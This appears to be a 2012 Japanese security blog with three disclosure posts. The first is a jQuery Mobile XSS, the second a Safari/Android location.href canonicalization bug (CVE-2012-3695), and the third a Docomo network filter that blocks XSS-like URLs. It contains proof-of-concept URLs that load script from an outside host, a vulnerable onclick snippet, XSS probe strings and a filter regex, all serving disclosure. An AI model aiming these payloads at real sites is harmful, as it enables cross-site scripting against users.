jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記　1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm

location.hrefの盲点

夏ということで、怖い話をします。 Webアプリケーション開発者の皆さん、聞いて下さい。
時間がない人や、他の人に問題を説明するときなどには簡潔にまとめた版をどうぞ。

 これは2011年12月27日にAppleに報告したSafariの問題です。Appleからは修正する予定はないという回答を貰っていましたが、2012年7月25日にリリースされたMacのSafari 6のアドバイザリによるとどうもMacのSafari 6では修正されたようです。

About the security content of Safari 6
http://support.apple.com/kb/HT5400

WebKit
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A canonicalization issue existed in the handling of URLs. This may have lead to cross-site scripting on sites which use the location.href property. This issue is addressed through improved canonicalization of URLs.
CVE-ID　CVE-2012-3695 : Masato Kinugawa

 
Windows版Safariで確認した問題でしたが、今のところWindows版のアップデートは出ていません。Windows版が出るまでは書くのを控えるつもりでしたが、MacのSafari 6がリリースされてから1週間経ってもAppleからは出すか出さないかの告知さえ無いので、もう書いてしまいます。

このようなコードがあったとします。


http://vulnerabledoma.in/webkit_locationhref/

<button onclick="location.href=location.href">reload</button>

location.hrefにlocation.hrefを代入するだけの単純なコードです。リロードされると思うのが普通だと思います。しかしながら、Safariではそうならないときがあるのです。以下のようなURLで、example.comへとばされます。

http://example.com%2F@vulnerabledoma.in/webkit_locationhref/

なぜこんなことが起きるかというと、上のページで、document.writeされているlocation.hrefに注目してください。@の前の「%2F」が「/」にデコードされて表示されています。そうです、なんと、Safariのlocation.hrefは、ホストの前の@の前の文字列をパーセントデコードして返すのです。(@がついたURLはあまり目にしませんが、@の前には認証情報を記述することができます。)
これはつまり、location.hrefが自分と同じドメインのURLを返すことを前提に書いているコードは全て、正しく動かない恐れがあるということです。最悪の場合、XSSが起こります。実際にこの挙動によって引き起こされるXSSを、Googleのサービスでいくつかみつけています：

これはほんの一部です。location.hrefを使って取得したURLから新たに通信をしようとした時に、誤ったホストからリソースを読み込んでしまいXSSを起こしてしまうケースが多くみられました。(どれも既に修正されています。ちなみにGoogleはこれをSafariのバグとみなしているので、報酬は報告した数ではなく、この挙動の情報提供として特別に$1,000を貰っています。)

幸いSafariでは、ホストの前に@を含むURLにアクセスしようとすると、設定を変更していなければフィッシングの警告画面が出ます。よって、もしこの問題を利用したXSSのURLを踏まされても、警告が出て不安になって引き返すユーザーが多いかもしれません。しかし、これはあくまでもフィッシング警告(@の前の文字列がホストだと思わせるようにURLが細工されているかもしれないことを警告しているだけ)であり、XSSの警告ではありません。

Safariがバグとして修正したなら、Appleが自分に問題があることを認めたということで、それでよしとしたいところですが、残念なお知らせがあります。Safari Mobile/Androidの標準ブラウザもこの動きをするのです。

Android標準ブラウザで% 00-FFを@の前に配置しalert(location.href)した図。%デコードされているのがわかる。

さらに、Androidの標準ブラウザは@付きURLにアクセスする時に警告も出しません。

今この情報を出した一番の理由として、このモバイルの問題をどうやっても早急に解決できないことがあげられます。モバイル端末のアップデートは機種によりまちまちで、提供されるかもわかりません。そんな現状で、このような潜在的な問題が早く修正されるとは思えません。アプリケーション開発者で対応するしかないでしょう。

@のついたURLでアクセスされることは多くのサービスで普通はないはずなので、location.href周りのコードが動かなくなるだけなら修正するほどではないと思いますが、XSSが起きるとなれば話は別だと思います。今一度、安全ではない方法でlocation.hrefを参照していないか、確認してみてください。

ドコモのSPモードでXSSっぽい文字列を含むURLへ接続できない

先日、ドコモが提供するスマートフォン用の回線であるSPモードを使用して普通にインターネットをしていたら接続できないページに出会いました。インターネットをしていて接続できないページがあるくらい珍しいことではないですが、接続できない状況が普通ではありませんでした。どうも特定の文字列がURLに含まれていると接続できなくなるようなのです。
例えば以下のようなURLに接続できません。

http://www.google.co.jp/search?q=%22%3E%3Cscript%3E

このようになります。

いろいろな環境から接続を試みた結果は以下です。

× Android標準ブラウザからSPモードで接続
× Firefox MobileからSPモードで接続
× パソコンのFirefoxから携帯を使用してSPモードでテザリング接続
○ Android標準ブラウザで自宅の無線LANからWi-Fi接続

このようにアプリケーションに関係なく、SPモードを介した接続のみができない状況であることから、SPモードの通信自体になんらかの原因があると考えました。どのようなURLへ接続ができないのかを検証するために、あらゆる文字列を含んだURLへそれぞれ接続できるかを試してみました。

× http://example.com/?q1="><script>
× http://example.com/?q1="><script>aaa
○ http://example.com/?q1="></script> 
○ http://example.com/?q1="><body onload=alert(1)>
○ http://example.com/?q1="><script >
○ http://example.com/?q1="><scriptx>
○ http://example.com/?q1="><script
× http://example.com/?q1='><script>
○ http://example.com/?q1=><script>
× http://example.com/?q1='"><script>
× http://example.com/?q1='"''"''"'"><script>
○ http://example.com/?q1=aaa"><script>
○ http://example.com/?q1=">aaa<script>
× http://example.com/?q1="><SCRipt>
× http://example.com/?q1=1&q2="><script>
× http://example.com/?q1=1?q2="><script>
○ http://example.com/q1="><script>
× http://example.com/&q1="><script>
× http://example.com/%3Fq1="><script>
○ http://example.com/?_="><script>
× http://example.com/?1="><script>
○ http://example.com/?="><script>

これらの結果から推測できる遮断される条件を、JavaScriptの正規表現でまとめると大体以下のようになります。なお、httpsの場合はどのパターンも正常に接続できます。

location.pathname.match(/[?&][a-z0-9]+=("|')+><script>/i) || location.search.match(/[?&][a-z0-9]+=("|')+><script>/i)

また、何度か検証をしてしばらくしてから再度試してみたところ、今度は接続ができたことがありました。あれ、直った？と思いましたが、その後も何度か時間をあけて試していると、接続できたりできなかったりする場合があることに気付きました。
調査をしていくと、接続できる場合とできない場合に、規則があることがわかりました。
1.78.*.*といったIPアドレスをもらった場合には接続ができ、それ以外の1.66.*.*、183.74.*.*などといったIPアドレスでは接続ができなくなるようです。


現在この事象についてわかっているのはこれだけです。


なぜこのようなことが起きているのでしょうか。想像できるのは、SPモードというプロバイダ単位でXSS対策をしようとしているのではないか、ということです。

ただその割には、一番基本的な<script>タグですらきちんと止める気がないような遮断条件であるし、特定のIPアドレスでは遮断されなかったりで、一体何がしたいのかというかんじもあります。
まずは限定的に導入してみて、影響がどれほどのものなのかのテストでもしているのでしょうか？それとも単にバグ？

まだ理由ははっきりしませんが、攻撃への対策であるのなら、正当なリクエストにも攻撃に近い文字列は入りうるので、今のアクセスすらさせない方法はやりすぎであると思います。現段階ではまだ非常に限られた文字列だけですが、今後防御範囲を拡大しようとして、さらに副作用が広がるようなことがないことを願います。

 ひとまずは、特定の文字列を含むURLに接続ができない不具合としてドコモに問い合わせてみました。1日以内に返事を頂きましたが、期待した回答がもらえなかったため、まだやりとりが続いています。また何か進展があったらここに追記したいと思います。


 XSSっぽいリクエストをプロバイダが遮断するなんて前例がないなどとTwitterで言っていたら、徳丸さんが過去に発見したソフトバンクの事例に近いと、徳丸さんご本人からTwitterで教えて頂きました。ソフトバンクのガラケーでは、URL中のパーセントエンコードをしていない<>"が削除されるようです。

携帯電話事業者に学ぶ「XSS対策」 - ockeghem(徳丸浩)の日記
http://d.hatena.ne.jp/ockeghem/20100726/p1

なんか、携帯事業者はこういう方法をとりたがるんですかね。

追記　2012/6/1 19:00
いま試したところ、以前接続ができなかった1.66.*.*、183.74.*.*などといった、1.78.*.*以外のIPアドレスからも接続ができました。問題は解消されたとみてよさそう？

追記2 2012/6/12 17:00
ドコモから正式に、担当部署へ確認した結果、サーバーの設定を一部変更したことで修正したとの回答を貰いました。結局意図的だったのか不具合だったのかは不明ですが、少なくとも、修正したということは、このアプローチによるXSS対策をやめる側にたったか、単に不具合だったということを意味しており、危惧していた副作用などの問題が今後広がることはなさそうです。